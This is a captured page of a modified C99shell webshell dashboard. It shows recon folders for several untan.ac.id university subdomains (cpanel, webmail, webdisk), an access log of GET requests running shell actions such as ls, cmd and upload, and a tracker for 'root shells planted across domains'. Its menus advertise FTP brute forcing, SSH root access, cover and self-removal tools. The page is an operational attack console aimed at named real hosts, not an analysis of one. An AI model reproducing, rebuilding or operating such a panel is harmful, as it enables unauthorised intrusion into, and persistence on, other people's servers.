C99SHELL DASHBOARDc99shell.tail7973d7.ts.net WebshellDBRoot 2026-08-03 08:10:47

!C99SHELL 2.0 [PHP 7 Update] [25.02.2019] !

Software: Apache/2.4.68 (Debian). PHP/8.2.33  

uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1
(2026-06-18) x86_64  

uid=33(www-data) gid=33(www-data) groups=33(www-data)  

Safe-mode: OFF (not secure)

/var/www/html/   drwxrwxrwx
Free 115.58 GB of 452.4 GB (25.55%)

FilesCustom ToolsTargetsSysMonWatchReconCommanderOrigin IPSSH RootTermCoverPushEncoderToolsProc.FTP bruteSec.SQLPHP-codeSystemUpdateFeedbackSelf removeCVE DBLogout


INTEGRITY WATCH webshell safety · intrusion captureWatched: 4729Intact: 323Tampered: 1455New: 2951Missing: 0
Files watched4729
Intact323
Tampered1455
New files2951
Missing0
↻ Re-scan

File integrity — webshell safety

FileSizeModifiedSHA256Status
/var/www/html/c99shell.php329.88 KB03/08/2026 07:30ceed408fc5f4TAMPERED
/var/www/html/mysqli_compat.php16.49 KB03/08/2026 06:35eb1cbabaacd8TAMPERED
/var/www/html/dashboard_index.php15.61 KB03/08/2026 07:47e77c53b85a79TAMPERED
/var/www/html/srv_dump.php305 B03/08/2026 04:538431ba3d0257NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/recon.json228 B03/08/2026 07:592e6911246984NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/info.txt15 B03/08/2026 07:59fb97dce3f0baTAMPERED
/var/www/html/targets/cpanel.ppm.untan.ac.id/recon.json220 B03/08/2026 07:58db8cb3d185ebNEW
/var/www/html/targets/cpanel.ppm.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/cpanel.ppm.untan.ac.id/info.txt15 B03/08/2026 07:58fb97dce3f0baTAMPERED
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/recon.json225 B03/08/2026 07:58bec4b8f9a854NEW
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/info.txt15 B03/08/2026 07:58fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.skpp.untan.ac.id/recon.json222 B03/08/2026 08:00d6638c5ef73cNEW
/var/www/html/targets/webmail.skpp.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webmail.skpp.untan.ac.id/info.txt15 B03/08/2026 08:00fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.management.untan.ac.id/recon.json228 B03/08/2026 08:001fad4519f872NEW
/var/www/html/targets/webmail.management.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webmail.management.untan.ac.id/info.txt15 B03/08/2026 08:00fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.icb.untan.ac.id/recon.json221 B03/08/2026 08:00a521f42565feNEW
showing first 20 of 4406 changes

Intrusion log — every device that hit this agent

Total hits9562
Unique IPs3
Suspicious51
 
 
top IPs:172.17.0.1 x9396 10.217.96.182 x153 127.0.0.1 x13
TimeIPMethodPath / actionAgentFlag
03/08/2026 08:10:44172.17.0.1GET/c99shell.php?act=ls&d=%2Fvar%2Fcache [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:44172.17.0.1GET/c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A14.0%2F&pg=4&sort=0a [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:44172.17.0.1GET/c99shell.php?act=upload&d=%2Fvar [upload]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:44172.17.0.1GET/c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.3%2F&pg=1&sort=0d [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:43172.17.0.1GET/c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A08.0%2F&pg=1&sort=4a [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:43172.17.0.1GET/c99shell.php?act=d&d=%2Fvar%2Fwww%2Fhtml%2Fdocker-server%2F.. [d]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:43172.17.0.1GET/c99shell.php?act=cmd&d=%2Fvar%2F [cmd]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:42172.17.0.1GET/c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.7%2F&pg=2&sort=0d [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:42172.17.0.1GET/c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.0%2F&pg=4&sort=1a [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:41172.17.0.1GET/c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.2%2F&pg=2&sort=2d [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:41172.17.0.1GET/c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.3%2F&pg=1&sort=3d [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:40172.17.0.1GET/c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.3%2F&pg=3&sort=3d [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:40172.17.0.1GET/c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A08.1%2F&pg=6&sort=3d [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:39172.17.0.1GET/c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A02.3%2F&pg=6&sort=2a [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:10:38172.17.0.1GET/c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A02.3%2F&pg=3&sort=4a [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
[< Prev]Page 2 / 638 — 9562 entries[Next >]
live tail — last 25 hits 
[03/08 08:10:47] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A08.1%2F&pg=4&sort=0d (ls)
[03/08 08:10:47] 172.17.0.1 GET /c99shell.php?act=watch&pg=2 (watch)
[03/08 08:10:47] 172.17.0.1 GET /c99shell.php?act=cve&pg=2 (cve)
[03/08 08:10:47] 172.17.0.1 GET /c99shell.php?act=targets&pg=2 (targets)
[03/08 08:10:47] 10.217.96.182 GET /c99shell.php?act=f&f=README.md&d=%2Fvar%2Fwww%2Fhtml%2Ftargets%2F7in1.untan.ac.id%2Fdata& (f)
[03/08 08:10:47] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.3%2F&pg=4&sort=3d (ls)
[03/08 08:10:46] 172.17.0.1 GET /c99shell.php?act=originip&resolve=1 (originip)
[03/08 08:10:46] 172.17.0.1 GET /c99shell.php?act=encoder&d=%2Fvar%2F (encoder)
[03/08 08:10:46] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A01.0%2F&pg=1&sort=2a (ls)
[03/08 08:10:46] 172.17.0.1 GET /c99shell.php?act=d&d=%2Fvar%2Fcache (d)
[03/08 08:10:45] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.2%2F&pg=2&sort=2a (ls)
[03/08 08:10:45] 172.17.0.1 GET /c99shell.php?act=d&d=%2Fvar%2Fwww%2Fhtml%2F.git%2F.. (d)
[03/08 08:10:45] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A02.3%2F&pg=4&sort=4a (ls)
[03/08 08:10:45] 172.17.0.1 GET /c99shell.php?act=d&d=%2Fvar%2Fwww%2F.. (d)
[03/08 08:10:45] 10.217.96.182 GET /c99shell.php?act=ls&d=%2Fvar%2Fwww%2Fhtml%2Ftargets%2F7in1.untan.ac.id%2Fdata (ls)
[03/08 08:10:44] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fvar%2Fcache (ls)
[03/08 08:10:44] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A14.0%2F&pg=4&sort=0a (ls)
[03/08 08:10:44] 172.17.0.1 GET /c99shell.php?act=upload&d=%2Fvar (upload)
[03/08 08:10:44] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.3%2F&pg=1&sort=0d (ls)
[03/08 08:10:43] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A08.0%2F&pg=1&sort=4a (ls)
[03/08 08:10:43] 172.17.0.1 GET /c99shell.php?act=d&d=%2Fvar%2Fwww%2Fhtml%2Fdocker-server%2F.. (d)
[03/08 08:10:43] 172.17.0.1 GET /c99shell.php?act=cmd&d=%2Fvar%2F (cmd)
[03/08 08:10:42] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.7%2F&pg=2&sort=0d (ls)
[03/08 08:10:42] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.0%2F&pg=4&sort=1a (ls)
[03/08 08:10:41] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.2%2F&pg=2&sort=2d (ls)
🔴 LIVE

Root shells planted across domains

Domains with shells.txt0
Registered heartbeats1
Alive0
↻ Heartbeat check all
DomainShells.txtShell URLLast checkCodeAlive

Register / update shell URL

Domain:  Shell URL: